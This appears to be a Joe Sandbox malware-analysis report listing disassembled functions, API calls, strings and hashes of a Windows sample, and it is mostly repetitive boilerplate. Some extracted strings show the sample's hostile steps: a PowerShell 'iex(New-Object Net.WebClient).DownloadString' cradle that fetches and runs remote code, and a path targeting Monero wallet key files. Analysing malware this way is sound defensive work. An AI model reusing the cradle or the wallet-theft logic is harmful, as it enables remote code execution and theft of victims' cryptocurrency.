Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: e27f54c9dc0eef19010f45e5a9b7469a1a92a8343575b1238f24c3092bd8c932
Instruction ID: 629248a6fa37975576a41ee3cefeb05bd4120b76f05b2f5e3e9a103db64f90c4
Opcode Fuzzy Hash: e27f54c9dc0eef19010f45e5a9b7469a1a92a8343575b1238f24c3092bd8c932
Instruction Fuzzy Hash: 15313EB4A00209EFDB24DFA5D995BAEB7B5FF48340F108168E905A7284D779A941CFB0

Function 00DF4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00840720), ref: 00DF47DB

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF4801
lstrcat.KERNEL32(?,?), ref: 00DF4820
lstrcat.KERNEL32(?,?), ref: 00DF4834
lstrcat.KERNEL32(?,0082A4C8), ref: 00DF4847
lstrcat.KERNEL32(?,?), ref: 00DF485B
lstrcat.KERNEL32(?,0083F2C8), ref: 00DF486F

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DF8D90: GetFileAttributesA.KERNEL32(00000000,?,00DE1B54,?,?,00E0564C,?,?,00E00E1F), ref: 00DF8D9F

Part of subcall function 00DF4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00DF4580
Part of subcall function 00DF4570: RtlAllocateHeap.NTDLL(00000000), ref: 00DF4587
Part of subcall function 00DF4570: wsprintfA.USER32 ref: 00DF45A6
Part of subcall function 00DF4570: FindFirstFileA.KERNEL32(?,?), ref: 00DF45BD

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: b145e29ee0494bad856f921c5069ef279bf90adcc76f006b6251922bc4e9095d
Instruction ID: a8196d71f20cacd9a972eb84cf7e8b15ab931e3127ee56da502ef8dd83bfeb9b
Opcode Fuzzy Hash: b145e29ee0494bad856f921c5069ef279bf90adcc76f006b6251922bc4e9095d
Instruction Fuzzy Hash: 3E3152B6A0021C97CB20FBA0DC85EFD7378AB58704F408589F35996085EEB5D7898FB5

Function 00DF2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00DF2D85

Strings

')", xrefs: 00DF2CB3
<, xrefs: 00DF2D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00DF2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00DF2CC4

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: e9d3c19a435ffc76d339044fa4f2281d63dbc96e7c3ff57cac825ea92bbd528f
Instruction ID: 601b1ab582eda737c4b1be2f94d404c453d58ce39ac5b4f53f90c65153a3ea3e
Opcode Fuzzy Hash: e9d3c19a435ffc76d339044fa4f2281d63dbc96e7c3ff57cac825ea92bbd528f
Instruction Fuzzy Hash: B141DAB180021C9ADB14EBA4C892BFDB774EF10340F55C029E60AB7195DFB46A4ACFB1

Function 00DE9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00DE9F41

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00DE9E67
@, xrefs: 00DE9EF1
v20, xrefs: 00DE9E21
v10, xrefs: 00DE9EA3

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 40692de965b13a369c585283992432d8a5645db0f086b06836a747dd90362723
Instruction ID: 4ba48c3d5070fa1559d82c7e28588712a780276f7f343744f2f267bd889ca6bf
Opcode Fuzzy Hash: 40692de965b13a369c585283992432d8a5645db0f086b06836a747dd90362723
Instruction Fuzzy Hash: E1610A71A002489BDB24EFA9CC96FED7775EF44340F048118FA0A6B195DB74AA45CB72

Function 00DF40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0083F088,00000000,00020119,?), ref: 00DF40F4
RegQueryValueExA.ADVAPI32(?,00840690,00000000,00000000,00000000,000000FF), ref: 00DF4118
RegCloseKey.ADVAPI32(?), ref: 00DF4122
lstrcat.KERNEL32(?,00000000), ref: 00DF4147
lstrcat.KERNEL32(?,008407C8), ref: 00DF415B

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: f5d49a0ad31930404b1991ba4d89527a67c27b414c132c94e2a6b8c43dbf0264
Instruction ID: 802eb676c489b45dc280f04f48f239d8374b20b1c917d61607c1c4ab0f3727f6
Opcode Fuzzy Hash: f5d49a0ad31930404b1991ba4d89527a67c27b414c132c94e2a6b8c43dbf0264
Instruction Fuzzy Hash: 264146B6A00108ABDB34EFA0DC46FFE737DAB88300F508558B75557185EE759B888BB1

Function 00DF6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00DF696C
sscanf.NTDLL ref: 00DF6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00DF69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00DF69C0
ExitProcess.KERNEL32 ref: 00DF69DA

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d10e4ff9dc64320d05a306bad998d112f535d7f6ff31e9231781dfaa829ce5e4
Instruction ID: e94acc2b30b8bcef802bbdfbf79679f3e65cb68ea248a28e15d8aba097dd8286
Opcode Fuzzy Hash: d10e4ff9dc64320d05a306bad998d112f535d7f6ff31e9231781dfaa829ce5e4
Instruction Fuzzy Hash: 2F21EAB5D0020CABCF14EFE8D945AEEB7B5FF48300F14852AE506E3644EB759605CB69

Function 00DF7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00DF7E3E
RegOpenKeyExA.ADVAPI32(80000002,0082BBC0,00000000,00020119,?), ref: 00DF7E5E
RegQueryValueExA.ADVAPI32(?,0083F028,00000000,00000000,000000FF,000000FF), ref: 00DF7E7F
RegCloseKey.ADVAPI32(?), ref: 00DF7E92

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9dd158a9868921dcd85eb946cb9ac7cf8095da07b40a628d6fb34bc6cc6f8a5d
Instruction ID: 8cfc7337b9b1ccb971056ab8c4b1b9f00ede266f596c0c127521baf1a729f79a
Opcode Fuzzy Hash: 9dd158a9868921dcd85eb946cb9ac7cf8095da07b40a628d6fb34bc6cc6f8a5d
Instruction Fuzzy Hash: 8C118FB1A44209EBD724CF94DD4AFBBBBB8FB44710F20811AF755A7684DB7958008BA0

Function 00DF9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00840438,?,?,?,00DF140C,?,00840438,00000000), ref: 00DF926C
lstrcpyn.KERNEL32(0102AB88,00840438,00840438,?,00DF140C,?,00840438), ref: 00DF9290
lstrlen.KERNEL32(?,?,00DF140C,?,00840438), ref: 00DF92A7
wsprintfA.USER32 ref: 00DF92C7

Strings

%s%s, xrefs: 00DF92B5

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 91ce0953d57380e27a286d4b034ed0ea4140ced4c64d86d4f8385fa8e26671b8
Instruction ID: 40c51b99f1894864d777b22474b0526c01cf0531ced158a6fb179e6848f95870
Opcode Fuzzy Hash: 91ce0953d57380e27a286d4b034ed0ea4140ced4c64d86d4f8385fa8e26671b8
Instruction Fuzzy Hash: F0011E75600108FFCB14DFECC998EAE7BB9FB48350F108548F9499B605CA35AA40DBA4

Function 00DE12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DE12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00DE12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00DE12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00DE12F5
RegCloseKey.ADVAPI32(?), ref: 00DE12FF

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 347fee172138133ea493035e84db50dff061a1cd8c7d4fc61951048300d8326e
Instruction ID: c31e0a8df0abaa9e233cad42ab802e30a7175c24ac536780b93c80fe4df52ac5
Opcode Fuzzy Hash: 347fee172138133ea493035e84db50dff061a1cd8c7d4fc61951048300d8326e
Instruction Fuzzy Hash: AD011DB9B40208FBDB24DFE0DC49FAEB7B8FB48701F108159FA4597284DA759A018B60

Function 00DFC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00DFC8EC
___crtLCMapStringA.LIBCMT ref: 00DFC90C
___crtLCMapStringA.LIBCMT ref: 00DFC931

Strings

, xrefs: 00DFC896

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 125ecb3d635e4ff94a4576300da96bcddad17f72e516cbb62038592c750a1301
Instruction ID: 8aee07532886655cfbb0e18d5f7c7aa1de1e5bd1c5f415532c55ba9e65f897cf
Opcode Fuzzy Hash: 125ecb3d635e4ff94a4576300da96bcddad17f72e516cbb62038592c750a1301
Instruction Fuzzy Hash: C541F6B111075C5EDB218B24CE84FFB7BE99F45705F1894E8EACA86182E2719A94CF30

Function 00DF6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00DF6663

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00DF6726
ExitProcess.KERNEL32 ref: 00DF6755

Strings

<, xrefs: 00DF66D9

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
